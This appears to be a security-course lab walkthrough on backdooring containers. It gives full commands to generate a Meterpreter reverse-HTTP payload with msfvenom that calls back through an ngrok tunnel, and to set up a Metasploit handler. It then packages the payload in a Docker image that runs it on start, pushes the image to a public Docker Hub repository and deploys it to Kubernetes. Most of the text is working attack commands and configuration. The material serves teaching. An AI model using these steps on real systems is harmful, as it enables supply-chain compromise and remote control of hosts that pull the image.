
Backdooring Containers 

Create a backdoored container, which connects to your machine. 

Requirements 

ngrok.io account
Metasploit Framework
Docker running on your machine 

Steps 

1. Create a ngrok account
2. Download ngrok to your machine and register the authtoken
3. Build Meterpreter payload that executes against your ngrok hostname
4. Run from your machine/VM
5. Build a container that executes the payload from within the container 

Walkthrough 

Ngrok setup 

Setup an ngrok account by registering on their site, downloading the ngrok file and running:
./ngrok	authtoken	<your	authtoken> 

To test if ngrok is working correctly perform the following steps:
ngrok	http	9999
In a new terminal run: 
python	-m	'SimpleHTTPServer'	9999 

Now open your ngrok link, if all is well you see the directory listing of the directory where the python command is run from. 

Close the python webserver but KEEP NGROK RUNNING. 

Building the backdoor 

For this we will use meterpreter and test it locally. 

First we will build the backdoor using msfvenom.
Run the following command to create the payload, named payload:
msfvenom	-p	linux/x86/meterpreter_reverse_http	LHOST=<ngrok-hostname>	LPORT=80	-f	elf	-o	payload 

For the <ngrok-hostname> insert your hostname WITHOUT the http/https prefix, e.g. random1234.ngrok.io.
Make the payload executable: chmod	a+x	./payload. 

In a new shell open metasploit console as sudo (sudo	msfconsole).
set the following: 

use	exploit/multi/handler
set	PAYLOAD	linux/x86/meterpreter_reverse_http
set	LPORT	9999
set	LHOST	0.0.0.0
exploit	-j
 

To test the payload, in the original shell, run ./payload.
This should create a new sessions in the ngrok terminal.
In metasploit, connect to the session and check if you can execute commands: 

msf5>	sessions	-i	1

meterpreter>	sysinfo
 

If all is well, you get the corresponding output of your system. 

Now exit meterpreter and perform ctrl+C on the terminal running the payload. 

Creating the container 

To create the container, create a Dockerfile with the following contents: 



FROM	ubuntu:latest
RUN	apt	update	-y	&&	apt-get	install	curl	wget	-y
COPY	payload	/bin/payload
CMD	["/bin/payload"]
 

Build the image by running: docker	build	-t	bd-image	..
This will build the image, named bd-image.
NOTE It might be required to run docker as sudo. This depends on your local docker installation. 

List the images on your system: docker	image	ls
Note the image ID and start the image: docker	run	-it	-d	<image	id> 

In the Metasploit terminal, a new session will connect.
If not, try running exploit	-j.
List the sessions using sessions	-l and connect using sessions	-i	<session	id>.
If connected succesfully, running sysinfo in meterpreter will output the linux image information. 

Clean up 

To stop and remove the docker container, perform the following: 

List running containers: docker	ps	-a
Stop container: docker	stop	<container	name>
Remove container: docker	container	rm	<container	id> 

Troubleshooting 

If the session does not directly connect when the image spins up, try exiting the Metasploit terminal and opening it again. Setting
the following options: 

use	exploit/multi/handler
set	PAYLOAD	linux/x86/meterpreter_reverse_http
set	LPORT	9999
set	LHOST	0.0.0.0
exploit	-j
 

Then spin up a new Docker container, using sudo	docker	run	-it	<image	ID>	/bin/bash.
This will start with a shell in the container.
If the session is not automatically created in metasploit, run /bin/payload in the container, this should initiate the payload
directly. 

Deploying to Kubernetes 

Requirements 

For this part you need a few additional things: 

DockerHub account (or any other public Docker repo, but you’re on your own then)
kubectl (https://kubernetes.io/docs/tasks/tools/install-kubectl/)
Kubernetes cluster (will be deployed and provided for you during the course) 

If you don’t have a Kubernetes cluster somewhere, instructions are provided for creating one using AWS EKS.
For this you need: 

An Azure account with permissions to deploy an AKS resource
Az CLI configured and installed on your local machine
Deploy a 1-node AKS cluster using either the Azure Portal or with the following command:
az	aks	create	--resource-group	kube-deploy-lab	--name	kube-lab	--node-count	1	--enable-addons
monitoring	--generate-ssh-keys
Note that you can use another resource group or cluster name. 

Walkthrough 

To deploy a backdoored container to Kubernetes, the image must be available from a public container repository.
One of the most common repositories is Dockerhub. 

You need to: 

1. Register an account with Dockerhub
2. Login on your local machine using docker	login
3. Push the image to the repository 

Run: docker	build	-t	<your	username>/bd-image	.

https://kubernetes.io/docs/tasks/tools/install-kubectl/


Run: docker	build	-t	<your	username>/bd-image	.

Then push the image to the repository: docker	push	<your	username>/bd-image 

For the training, a Kubernetes cluster was deployed and prepared in Azure. 
Please perform the following steps: 

1. Ensure az	cli is installed and configured 
1. run az	login to sign in to your dev Azure account, created for this course

2. Check if kubectl is installed on your machine: kubectl	-h. If not, please install true: 
1. (https://kubernetes.io/docs/tasks/tools/install-kubectl/)
2. OR run sudo	az	aks	install-cli

3. Get the kubeconfig file for the deployed cluster by running to following command:
az	aks	get-credentials	--resource-group	kube-deploy-lab	--name	kube-lab.
This should install the kubeconfig file for you.

4. Check cluster access with kubectl	get	nodes, you might need to sign in/verify you Azure account again. 

Now access to the cluster is configured! 

Now create a new namespace for you to deploy your container:
kubectl	create	namespace	[YOUR	NAME] 

Paste the following in a file deploy.yaml (replace [YOUR	NAME] and <YOUR	DOCKERHUB	USERNAME> with correct values!): 

apiVersion:	apps/v1
kind:	Deployment
metadata:
		name:	bb-demo
		namespace:	[YOUR	NAME]
spec:
		replicas:	1
		selector:
				matchLabels:
						bb:	web
		template:
				metadata:
						labels:
								bb:	web
				spec:
						containers:
						-	name:	bb-site
								image:	<YOUR	DOCKERHUB	USERNAME>/bd-image
---
apiVersion:	v1
kind:	Service
metadata:
		name:	bb-entrypoint
		namespace:	[YOUR	NAME]
spec:
		type:	NodePort
		selector:
				bb:	web
		ports:
		-	port:	8080
				targetPort:	8080
 

Deploy this to a linked kubernetes cluster using kubectl:
kubectl	apply	-f	deploy.yaml
If succesful, it should state:
deployment.apps/bb-demo	created	service/bb-entrypoint	created	

Once deployed, the payload should execute and connect to your mfsconsole.
If it does not directly create a session, restart the msfconsole or run exploit	-j. 

You can check the status of your container by issuing:
kubectl	get	pods	--namespace	[your	name] 

Clean up 

To remove the deployment from the cluster, run the following command:
kubectl	delete	-f	deploy.yaml 

If you used your own cluster, don’t forget to delete it!

https://kubernetes.io/docs/tasks/tools/install-kubectl/

